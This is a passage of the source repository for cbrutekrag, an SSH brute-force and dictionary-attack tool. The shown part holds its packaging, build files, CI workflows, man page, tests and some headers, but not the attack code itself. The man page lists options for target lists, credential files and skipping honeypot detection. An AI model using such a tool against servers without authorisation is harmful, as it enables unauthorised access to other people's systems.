├── debian ├── compat ├── docs ├── cbrutekrag.dirs ├── source │ ├── format │ └── include-binaries ├── cbrutekrag.manpages ├── changelog ├── rules ├── copyright └── control ├── .gitignore ├── .github ├── FUNDING.yml └── workflows │ ├── build.yml │ ├── static-build.yml │ └── windows-build.yml ├── vcpkg.json ├── CMakeLists.txt ├── CMakePresets.json ├── vcpkg-configuration.json ├── tests ├── CMakeLists.txt ├── test-progressbar.c ├── test-credentials.c └── test-targets.c ├── src ├── CMakeLists.txt ├── progressbar.h ├── getline.c ├── progress.h ├── str.h ├── getdelim.c ├── compat.h ├── iprange.h ├── cbrutekrag.h ├── bruteforce_ssh.h ├── credentials.h ├── detection.h ├── target.h ├── progressbar.c ├── iprange.c ├── context.c ├── str.c ├── credentials.c ├── progress.c ├── log.h ├── target.c ├── log.c ├── detection.c ├── bruteforce_ssh.c └── cbrutekrag.c ├── Makefile ├── rpm └── cbrutekrag.spec ├── LICENSE.txt ├── Makefile.static ├── static-build.sh ├── docs └── man │ └── cbrutekrag.1 ├── .clang-format ├── CHANGELOG.md └── README.md /debian/compat: -------------------------------------------------------------------------------- 1 | 9 2 | -------------------------------------------------------------------------------- /debian/docs: -------------------------------------------------------------------------------- 1 | README.md 2 | -------------------------------------------------------------------------------- /debian/cbrutekrag.dirs: -------------------------------------------------------------------------------- 1 | usr/bin 2 | -------------------------------------------------------------------------------- /debian/source/format: -------------------------------------------------------------------------------- 1 | 3.0 (quilt) 2 | -------------------------------------------------------------------------------- /debian/source/include-binaries: -------------------------------------------------------------------------------- 1 | cbrutekrag 2 | -------------------------------------------------------------------------------- /debian/cbrutekrag.manpages: -------------------------------------------------------------------------------- 1 | docs/man/cbrutekrag.1 2 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | cbrutekrag 2 | *.o 3 | build/ 4 | external/ 5 | -------------------------------------------------------------------------------- /.github/FUNDING.yml: -------------------------------------------------------------------------------- 1 | github: [matricali] 2 | patreon: matricali 3 | -------------------------------------------------------------------------------- /vcpkg.json: -------------------------------------------------------------------------------- 1 | { 2 | "dependencies": [ 3 | "libssh", 4 | "pthread" 5 | ] 6 | } 7 | -------------------------------------------------------------------------------- /debian/changelog: -------------------------------------------------------------------------------- 1 | cbrutekrag (1.0.0-1) unstable; urgency=low 2 | 3 | * Initial release 4 | 5 | -- Jorge Matricali Fri, 29 Dec 2017 11:30:00 -0300 6 | -------------------------------------------------------------------------------- /CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required(VERSION 3.10) 2 | project(cbrutekrag VERSION 0.6.0 LANGUAGES C) 3 | 4 | add_subdirectory(src) 5 | 6 | # Habilita testing 7 | enable_testing() 8 | 9 | # Añadir subdirectorio de tests 10 | add_subdirectory(tests) 11 | -------------------------------------------------------------------------------- /CMakePresets.json: -------------------------------------------------------------------------------- 1 | { 2 | "version": 8, 3 | "configurePresets": [ 4 | { 5 | "name": "default", 6 | "generator": "Unix Makefiles", 7 | "binaryDir": "${sourceDir}/build", 8 | "toolchainFile": "$env{VCPKG_ROOT}/scripts/buildsystems/vcpkg.cmake" 9 | } 10 | ] 11 | } 12 | -------------------------------------------------------------------------------- /debian/rules: -------------------------------------------------------------------------------- 1 | #!/usr/bin/make -f 2 | 3 | #export DH_VERBOSE=1 4 | export DEB_BUILD_MAINT_OPTIONS = hardening=+all 5 | export DEB_LDFLAGS_MAINT_APPEND = -Wl,--as-needed 6 | INSTALL := install -o root -g root -m 755 7 | 8 | %: 9 | dh $@ 10 | 11 | override_dh_auto_install: 12 | $(INSTALL) cbrutekrag $(CURDIR)/debian/cbrutekrag/usr/bin 13 | -------------------------------------------------------------------------------- /debian/copyright: -------------------------------------------------------------------------------- 1 | Format: http://www.debian.org/doc/packaging-manuals/copyright-format/1.0/ 2 | Debianized-By: Jorge Matricali 3 | Upstream-Name: cbrutekrag 4 | Upstream-Contact: jorgematricali@gmail.com 5 | Source: https://github.com/matricali/cbrutekrag 6 | 7 | Files: * 8 | Copyright: 2014-2018 by Jorge Matricali 9 | License: MIT 10 | -------------------------------------------------------------------------------- /.github/workflows/build.yml: -------------------------------------------------------------------------------- 1 | name: Build 2 | 3 | on: 4 | push: 5 | branches: [ "master" ] 6 | pull_request: 7 | branches: [ "master" ] 8 | 9 | jobs: 10 | build: 11 | 12 | runs-on: ubuntu-latest 13 | 14 | steps: 15 | - uses: actions/checkout@v3 16 | - name: Install libssh-dev 17 | run: sudo apt-get install -y libssh-dev 18 | - name: make 19 | run: make 20 | -------------------------------------------------------------------------------- /vcpkg-configuration.json: -------------------------------------------------------------------------------- 1 | { 2 | "default-registry": { 3 | "kind": "git", 4 | "baseline": "1318ab14aae14db20085441cd71366891a9c9d0c", 5 | "repository": "https://github.com/microsoft/vcpkg" 6 | }, 7 | "registries": [ 8 | { 9 | "kind": "artifact", 10 | "location": "https://github.com/microsoft/vcpkg-ce-catalog/archive/refs/heads/main.zip", 11 | "name": "microsoft" 12 | } 13 | ] 14 | } 15 | -------------------------------------------------------------------------------- /.github/workflows/static-build.yml: -------------------------------------------------------------------------------- 1 | name: Static Build 2 | 3 | on: 4 | push: 5 | branches: [ "master" ] 6 | pull_request: 7 | branches: [ "master" ] 8 | 9 | jobs: 10 | build: 11 | 12 | runs-on: ubuntu-latest 13 | 14 | steps: 15 | - uses: actions/checkout@v3 16 | - name: Install dependencies 17 | run: sudo apt-get install -y libz-dev 18 | - name: static build script 19 | run: ./static-build.sh 20 | -------------------------------------------------------------------------------- /debian/control: -------------------------------------------------------------------------------- 1 | Source: cbrutekrag 2 | Priority: optional 3 | Section: net 4 | Maintainer: Jorge Matricali 5 | Build-Depends: debhelper (>= 9), libssh-dev 6 | Standards-Version: 4.2.0 7 | Homepage: https://github.com/matricali/cbrutekrag 8 | Vcs-Git: git://github.com/matricali/cbrutekrag.git 9 | Vcs-Browser: https://github.com/matricali/cbrutekrag 10 | 11 | Package: cbrutekrag 12 | Architecture: i386 amd64 13 | Depends: libssh-4 (>= 0.5.0), ${shlibs:Depends}, ${misc:Depends} 14 | Pre-Depends: ${misc:Pre-Depends} 15 | Description: SSH bruteforce tool 16 | Penetration tests on SSH servers using brute force or dictionary attacks. 17 | -------------------------------------------------------------------------------- /tests/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | set(SOURCE_FILES 2 | ../src/getdelim.c 3 | ../src/getline.c 4 | ../src/log.c 5 | ../src/str.c 6 | ) 7 | 8 | # Test credentials parse 9 | add_executable(test1 test-credentials.c ${SOURCE_FILES} ../src/credentials.c) 10 | 11 | # Test target parse 12 | add_executable(test2 test-targets.c ${SOURCE_FILES} ../src/iprange.c ../src/target.c) 13 | if(MINGW) 14 | target_link_libraries(test2 PRIVATE ws2_32) 15 | endif() 16 | 17 | # Test progressbar 18 | add_executable(test3 test-progressbar.c ../src/progressbar.c) 19 | 20 | # Testcases 21 | add_test(NAME Credentials COMMAND test1) 22 | add_test(NAME TargetParse COMMAND test2) 23 | add_test(NAME TargetProgressBar COMMAND test3) 24 | -------------------------------------------------------------------------------- /src/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | set(CMAKE_CXX_FLAGS_DEBUG "${CMAKE_CXX_FLAGS_DEBUG} -g") 2 | set(CMAKE_C_FLAGS_DEBUG "${CMAKE_C_FLAGS_DEBUG} -g") 3 | 4 | find_package(libssh CONFIG REQUIRED) 5 | set(SOURCE_FILES 6 | getdelim.c 7 | getline.c 8 | cbrutekrag.c 9 | context.c 10 | log.c 11 | str.c 12 | iprange.c 13 | progress.c 14 | progressbar.c 15 | bruteforce_ssh.c 16 | detection.c 17 | target.c 18 | credentials.c 19 | ) 20 | add_executable(${PROJECT_NAME} ${SOURCE_FILES}) 21 | 22 | # LIBSSH 23 | if(MINGW) 24 | target_link_libraries(cbrutekrag PRIVATE ssh ws2_32) 25 | else() 26 | target_link_libraries(cbrutekrag PRIVATE ssh) 27 | endif() 28 | 29 | # PTHREADS 30 | if(MINGW) 31 | find_package(PThreads4W REQUIRED) 32 | target_link_libraries(${PROJECT_NAME} PRIVATE PThreads4W::PThreads4W) 33 | else() 34 | set(THREADS_PREFER_PTHREAD_FLAG ON) 35 | find_package(Threads REQUIRED) 36 | target_link_libraries(${PROJECT_NAME} PRIVATE Threads::Threads) 37 | endif() 38 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | CC = gcc 2 | 3 | CFLAGS += -pedantic -Wconversion -Wall -Werror -Wextra -Wstrict-prototypes -std=gnu99 -O3 -Iinclude -g 4 | LDFLAGS += -lpthread -lssh -lrt -rdynamic 5 | 6 | NAME = cbrutekrag 7 | SRCS := cbrutekrag.c \ 8 | context.c \ 9 | log.c \ 10 | str.c \ 11 | iprange.c \ 12 | progress.c \ 13 | progressbar.c \ 14 | bruteforce_ssh.c \ 15 | detection.c target.c \ 16 | credentials.c 17 | OBJS := $(SRCS:%.c=obj/%.o) 18 | 19 | all: dirs $(NAME) 20 | 21 | dirs: 22 | -mkdir obj 23 | 24 | $(NAME): $(OBJS) 25 | @$(CC) $(OBJS) $(LDFLAGS) -o $@ 26 | @echo "Linking complete!" 27 | 28 | $(OBJS): obj/%.o : src/%.c 29 | @$(CC) $(CFLAGS) -c $< -o $@ 30 | @echo "Compiled "$<" successfully!" 31 | 32 | clean: 33 | rm -f $(OBJS) 34 | 35 | fclean: clean 36 | rm -f $(NAME) 37 | 38 | re: fclean all 39 | 40 | .PHONY: install 41 | install: $(NAME) 42 | mkdir -p $(DESTDIR)$(PREFIX)/$(BINDIR) 43 | cp $(NAME) $(DESTDIR)$(PREFIX)/$(BINDIR)/$(NAME) 44 | 45 | .PHONY: uninstall 46 | uninstall: 47 | rm -f $(DESTDIR)$(PREFIX)/$(BINDIR)/$(NAME) 48 | -------------------------------------------------------------------------------- /rpm/cbrutekrag.spec: -------------------------------------------------------------------------------- 1 | Name: cbrutekrag 2 | Version: 1.0.0 3 | Release: 1%{?dist} 4 | Summary: SSH bruteforce tool 5 | Group: Applications/Databases 6 | License: MIT 7 | URL: https://github.com/matricali/cbrutekrag 8 | Source0: https://github.com/matricali/cbrutekrag/archive/%{version}/%{name}-%{version}.tar.gz 9 | BuildRequires: gcc 10 | BuildRequires: libssh-devel 11 | BuildRequires: make 12 | Requires: libssh 13 | 14 | %description 15 | Penetration tests on SSH servers using brute force or dictionary attacks. 16 | 17 | %prep 18 | %setup -q -n cbrutekrag-%{version} 19 | 20 | %build 21 | make %{?_smp_mflags} 22 | 23 | %install 24 | make install DESTDIR="%{buildroot}" PREFIX="" BINDIR="%{_bindir}" MANDIR="%{_mandir}/man1" DATADIR="%{_datadir}/%{name}" 25 | mkdir -p %{buildroot}%{_mandir}/man1 26 | cp docs/man/cbrutekrag.1 %{buildroot}%{_mandir}/man1/cbrutekrag.1 27 | 28 | %files 29 | %doc README.md 30 | %{!?_licensedir:%global license %doc} 31 | %license LICENSE.txt 32 | %{_bindir}/cbrutekrag 33 | %{_mandir}/man1/cbrutekrag.1* 34 | 35 | %changelog 36 | * Sat Aug 25 2018 Jorge Matricali 0:1.0-0 37 | - Initial RPM build 38 | -------------------------------------------------------------------------------- /LICENSE.txt: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2014-2022 Jorge Matricali 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /Makefile.static: -------------------------------------------------------------------------------- 1 | CC = gcc 2 | 3 | CFLAGS += -pedantic -Wconversion -Wall -Werror -Wextra -Wstrict-prototypes -std=gnu99 \ 4 | -Iinclude -I./external/libssh-0.9.3/include -g -D_GNU_SOURCE -DLIBSSH_STATIC 5 | LDFLAGS += -L./external/libssh-0.9.3/build/src \ 6 | -lssh \ 7 | -lrt \ 8 | -lcrypto \ 9 | -lz \ 10 | -lpthread \ 11 | -ldl \ 12 | -static 13 | 14 | NAME = cbrutekrag 15 | SRCS := cbrutekrag.c \ 16 | context.c \ 17 | log.c \ 18 | str.c \ 19 | iprange.c \ 20 | progress.c \ 21 | progressbar.c \ 22 | bruteforce_ssh.c \ 23 | detection.c target.c \ 24 | credentials.c 25 | OBJS := $(SRCS:%.c=obj/%.o) 26 | 27 | all: dirs $(NAME) 28 | 29 | dirs: 30 | mkdir -p obj 31 | 32 | $(NAME): $(OBJS) 33 | @$(CC) $(OBJS) $(LDFLAGS) -o $@ 34 | @echo "Linking complete!" 35 | 36 | $(OBJS): obj/%.o : src/%.c 37 | @$(CC) $(CFLAGS) -c $< -o $@ 38 | @echo "Compiled "$<" successfully!" 39 | 40 | clean: 41 | rm -f $(OBJS) 42 | 43 | fclean: clean 44 | rm -f $(NAME) 45 | 46 | re: fclean all 47 | 48 | .PHONY: install 49 | install: $(NAME) 50 | mkdir -p $(DESTDIR)$(PREFIX)/$(BINDIR) 51 | cp $(NAME) $(DESTDIR)$(PREFIX)/$(BINDIR)/$(NAME) 52 | 53 | .PHONY: uninstall 54 | uninstall: 55 | rm -f $(DESTDIR)$(PREFIX)/$(BINDIR)/$(NAME) 56 | -------------------------------------------------------------------------------- /.github/workflows/windows-build.yml: -------------------------------------------------------------------------------- 1 | name: Windows CMake Build 2 | 3 | on: 4 | push: 5 | branches: 6 | - master 7 | pull_request: 8 | branches: 9 | - master 10 | 11 | jobs: 12 | build: 13 | runs-on: windows-latest 14 | 15 | steps: 16 | - name: Install MSYS2 17 | uses: msys2/setup-msys2@v2 18 | with: 19 | update: true 20 | install: >- 21 | mingw-w64-x86_64-toolchain 22 | base-devel 23 | 24 | - name: Checkout code 25 | uses: actions/checkout@v4 26 | 27 | - name: Set up vcpkg 28 | uses: lukka/run-vcpkg@v11 29 | with: 30 | vcpkgCommitId: 'latest' 31 | runVcpkgInstall: true 32 | 33 | - name: Configure with CMake 34 | run: | 35 | cmake --preset default 36 | 37 | - name: Build with CMake 38 | run: | 39 | cmake --build build 40 | 41 | - name: Archive Build Artifacts 42 | uses: actions/upload-artifact@v4 43 | with: 44 | name: cbrutekrag-w64 45 | path: | 46 | build/src/cbrutekrag.exe 47 | build/src/libcrypto-3-x64.dll 48 | build/src/pthreadVC3.dll 49 | build/src/ssh.dll 50 | -------------------------------------------------------------------------------- /static-build.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # Copyright (c) 2014-2020 Jorge Matricali 4 | # 5 | # Permission is hereby granted, free of charge, to any person obtaining a copy 6 | # of this software and associated documentation files (the "Software"), to deal 7 | # in the Software without restriction, including without limitation the rights 8 | # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | # copies of the Software, and to permit persons to whom the Software is 10 | # furnished to do so, subject to the following conditions: 11 | # 12 | # The above copyright notice and this permission notice shall be included in all 13 | # copies or substantial portions of the Software. 14 | # 15 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | # SOFTWARE. 22 | 23 | LIBSSH_VERSION="0.9.3" 24 | LIBSSH_DEST="external/libssh-${LIBSSH_VERSION}" 25 | LIBSSH_BUILD_DIR="${LIBSSH_DEST}/build" 26 | 27 | if [ ! -d "${LIBSSH_DEST}" ]; then 28 | mkdir -p external 29 | wget --no-check-certificate 'https://www.libssh.org/files/0.9/libssh-0.9.3.tar.xz' -O external/libssh-0.9.3.tar.xz 30 | tar xf external/libssh-0.9.3.tar.xz -C external/ 31 | fi 32 | 33 | mkdir -p "${LIBSSH_BUILD_DIR}" 34 | pushd "${LIBSSH_BUILD_DIR}" || exit 1 35 | cmake ../ -DWITH_EXAMPLES=OFF -DBUILD_SHARED_LIBS=OFF -DWITH_STATIC_LIB=ON 36 | make 37 | popd || exit 1 38 | 39 | make -f Makefile.static clean all 40 | -------------------------------------------------------------------------------- /src/progressbar.h: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright (c) 2014-2024 Jorge Matricali 3 | 4 | Permission is hereby granted, free of charge, to any person obtaining a copy 5 | of this software and associated documentation files (the "Software"), to deal 6 | in the Software without restriction, including without limitation the rights 7 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 8 | copies of the Software, and to permit persons to whom the Software is 9 | furnished to do so, subject to the following conditions: 10 | 11 | The above copyright notice and this permission notice shall be included in all 12 | copies or substantial portions of the Software. 13 | 14 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 15 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 16 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 17 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 18 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 19 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 20 | SOFTWARE. 21 | */ 22 | 23 | #ifndef PROGRESSBAR_H 24 | #define PROGRESSBAR_H 25 | 26 | /** 27 | * Render a progress bar to the terminal. 28 | * 29 | * This function displays a progress bar with a filled and empty section 30 | * to represent progress, as well as a percentage and optional suffix. 31 | * The bar is rendered to fit within the width of the terminal. 32 | * 33 | * |███░░░░░░░░░░░░░░░░░░░░░| 14.51% [37] 192.168.100.37 root root 34 | * 35 | * @param count The current iteration count. 36 | * @param total The total number of iterations. 37 | * @param suffix A string suffix to append after the progress bar. 38 | * @param suffix_max The width for suffix. 39 | */ 40 | void progressbar_render(size_t count, size_t total, const char *suffix, 41 | size_t suffix_max); 42 | 43 | #endif // PROGRESSBAR_H 44 | -------------------------------------------------------------------------------- /src/getline.c: -------------------------------------------------------------------------------- 1 | /* $NetBSD: getline.c,v 1.1 2015/04/19 12:22:14 tnn Exp $ */ 2 | /* $NetBSD-src: getline.c,v 1.2 2014/09/16 17:23:50 christos Exp $ */ 3 | 4 | /*- 5 | * Copyright (c) 2011 The NetBSD Foundation, Inc. 6 | * All rights reserved. 7 | * 8 | * This code is derived from software contributed to The NetBSD Foundation 9 | * by Christos Zoulas. 10 | * 11 | * Redistribution and use in source and binary forms, with or without 12 | * modification, are permitted provided that the following conditions 13 | * are met: 14 | * 1. Redistributions of source code must retain the above copyright 15 | * notice, this list of conditions and the following disclaimer. 16 | * 2. Redistributions in binary form must reproduce the above copyright 17 | * notice, this list of conditions and the following disclaimer in the 18 | * documentation and/or other materials provided with the distribution. 19 | * 20 | * THIS SOFTWARE IS PROVIDED BY THE NETBSD FOUNDATION, INC. AND CONTRIBUTORS 21 | * ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED 22 | * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 23 | * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE FOUNDATION OR CONTRIBUTORS 24 | * BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 25 | * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF 26 | * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS 27 | * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN 28 | * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 29 | * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 30 | * POSSIBILITY OF SUCH DAMAGE. 31 | */ 32 | 33 | #include 34 | 35 | #if !HAVE_GETLINE 36 | 37 | #include "compat.h" 38 | 39 | ssize_t 40 | getline(char **buf, size_t *bufsiz, FILE *fp) 41 | { 42 | return getdelim(buf, bufsiz, '\n', fp); 43 | } 44 | 45 | #endif 46 | -------------------------------------------------------------------------------- /docs/man/cbrutekrag.1: -------------------------------------------------------------------------------- 1 | .Dd December 8, 2019 2 | .Dt CBRUTEKRAG 1 \" Program name and manual section number 3 | .Os 4 | .Sh NAME \" Section Header - required - don't modify 5 | .Nm cbrutekrag 6 | .Nd Penetration tests on SSH servers using dictionary attacks. Written in C. 7 | https://github.com/matricali/cbrutekrag 8 | .Sh SYNOPSIS \" Section Header - required - don't modify 9 | .Nm 10 | .Op Fl aADsvVPh \" [-aADsvVPh] 11 | .Op Fl t Ar threads \" [-t threads] 12 | .Op Fl T Ar combinations \" [-T targets] 13 | .Op Fl C Ar combinations \" [-C combinations] 14 | .Op Fl o Ar output \" [-C combinations] 15 | .Op Ar targets ... \" [targets ...] 16 | .Sh DESCRIPTION \" Section Header - required - don't modify 17 | .Bl -tag -width " " \" Begins a tagged list 18 | .It Fl h \"-a flag as a list item 19 | Shows help screen 20 | .It Fl v 21 | Verbose mode 22 | .It Fl V 23 | Verbose mode (sshlib) 24 | .It Fl s 25 | Scan mode 26 | .It Fl D 27 | Dry run 28 | .It Fl P 29 | Show progress bar 30 | .It Fl T Ar targets 31 | Targets file 32 | .It Fl C Ar combinations 33 | Username and password file 34 | .It Fl t Ar threads 35 | Max threads 36 | .It Fl o Ar output 37 | Output log filename 38 | .It Fl a 39 | Accepts non OpenSSH servers. 40 | .It Fl A 41 | Allow servers detected as honeypots. 42 | .El \" Ends the list 43 | .Sh SEE ALSO 44 | .Xr ssh 1 , 45 | .Xr ssh_config 5 , 46 | .Xr sshd 8 47 | .\" .Sh BUGS \" Document known, unremedied bugs 48 | .\" .Sh HISTORY \" Document history if command behaves in a unique manner 49 | .Sh AUTHOR 50 | .Nm 51 | was written by Jorge Matricali . 52 | .Pp 53 | Permission is granted to copy, distribute and/or modify this 54 | document under the terms of the GNU Free 55 | Documentation License, Version 1.1 or any later version 56 | published by the Free Software Foundation; with no Invariant 57 | Sections, no Front-Cover Texts and no Back-Cover Texts. 58 | -------------------------------------------------------------------------------- /tests/test-progressbar.c: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright (c) 2024 Jorge Matricali 3 | 4 | Permission is hereby granted, free of charge, to any person obtaining a copy 5 | of this software and associated documentation files (the "Software"), to deal 6 | in the Software without restriction, including without limitation the rights 7 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 8 | copies of the Software, and to permit persons to whom the Software is 9 | furnished to do so, subject to the following conditions: 10 | 11 | The above copyright notice and this permission notice shall be included in all 12 | copies or substantial portions of the Software. 13 | 14 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 15 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 16 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 17 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 18 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 19 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 20 | SOFTWARE. 21 | */ 22 | 23 | #include 24 | #include 25 | #include 26 | 27 | #include "../src/progressbar.h" 28 | 29 | typedef struct { 30 | size_t total; 31 | size_t size; 32 | } test_input_t; 33 | 34 | void run_tests(test_input_t *tests) 35 | { 36 | int i = 0; 37 | 38 | // Test matrix 39 | while (!(tests[i].total == 0 && tests[i].size == 0)) { 40 | for (int j = 0; j <= tests[i].total; j++) { 41 | progressbar_render(j, tests[i].total, NULL, 42 | tests[i].size); 43 | } 44 | printf("\n"); 45 | i++; 46 | } 47 | 48 | // Test empty bar 49 | progressbar_render(0, 0, NULL, 0); 50 | printf("\n"); 51 | 52 | printf("All tests passed\n"); 53 | } 54 | 55 | int main() 56 | { 57 | printf("Running progressbar.c Test\n"); 58 | 59 | test_input_t matrix[] = { 60 | {10, 0}, 61 | {100, 50}, 62 | {150, 80}, 63 | {0, 50}, 64 | {50, 0}, 65 | {0, 0}, 66 | }; 67 | 68 | run_tests(matrix); 69 | 70 | return 0; 71 | } 72 | -------------------------------------------------------------------------------- /src/progress.h: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright (c) 2014-2024 Jorge Matricali 3 | 4 | Permission is hereby granted, free of charge, to any person obtaining a copy 5 | of this software and associated documentation files (the "Software"), to deal 6 | in the Software without restriction, including without limitation the rights 7 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 8 | copies of the Software, and to permit persons to whom the Software is 9 | furnished to do so, subject to the following conditions: 10 | 11 | The above copyright notice and this permission notice shall be included in all 12 | copies or substantial portions of the Software. 13 | 14 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 15 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 16 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 17 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 18 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 19 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 20 | SOFTWARE. 21 | */ 22 | 23 | #ifndef PROGRESS_H 24 | #define PROGRESS_H 25 | 26 | #include "cbrutekrag.h" 27 | 28 | typedef struct { 29 | btkg_context_t *context; 30 | } btkg_progress_worker_args_t; 31 | 32 | /** 33 | * @brief Calculates the elapsed time since a given start time. 34 | * 35 | * This function calculates the time elapsed since a given start time 36 | * using the `CLOCK_MONOTONIC` clock, which is unaffected by system time 37 | * changes. 38 | * 39 | * @param start Pointer to the starting time. 40 | * @return The elapsed time in seconds. 41 | */ 42 | double btkg_elapsed_time(struct timespec *start); 43 | 44 | /** 45 | * @brief Starts the progress monitoring thread. 46 | * 47 | * This function creates and starts a new thread that runs the 48 | * `progress_worker` function to monitor the progress of a task. 49 | * 50 | * @param context Pointer to the `btkg_context_t` structure containing the 51 | * context information. 52 | * @param thread Pointer to a `pthread_t` structure that will hold the thread 53 | * identifier. 54 | */ 55 | void btkg_progress_watcher_start(btkg_context_t *context, pthread_t *thread); 56 | 57 | /** 58 | * @brief Waits for the progress monitoring thread to complete. 59 | * 60 | * This function blocks until the progress monitoring thread has completed 61 | * its execution. 62 | * 63 | * @param thread Pointer to the `pthread_t` structure holding the thread 64 | * identifier. 65 | */ 66 | void btkg_progress_watcher_wait(pthread_t *thread); 67 | 68 | #endif // PROGRESS_H 69 | -------------------------------------------------------------------------------- /src/str.h: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright (c) 2014-2024 Jorge Matricali 3 | 4 | Permission is hereby granted, free of charge, to any person obtaining a copy 5 | of this software and associated documentation files (the "Software"), to deal 6 | in the Software without restriction, including without limitation the rights 7 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 8 | copies of the Software, and to permit persons to whom the Software is 9 | furnished to do so, subject to the following conditions: 10 | 11 | The above copyright notice and this permission notice shall be included in all 12 | copies or substantial portions of the Software. 13 | 14 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 15 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 16 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 17 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 18 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 19 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 20 | SOFTWARE. 21 | */ 22 | 23 | #ifndef STR_H 24 | #define STR_H 25 | 26 | #include 27 | 28 | /** 29 | * @brief Safely copies a string to a destination buffer ensuring null termination. 30 | * 31 | * @param dst Destination buffer. 32 | * @param src Source string. 33 | * @param dst_size Size of the destination buffer. 34 | */ 35 | void btkg_str_copy(char *dst, const char *src, size_t dst_size); 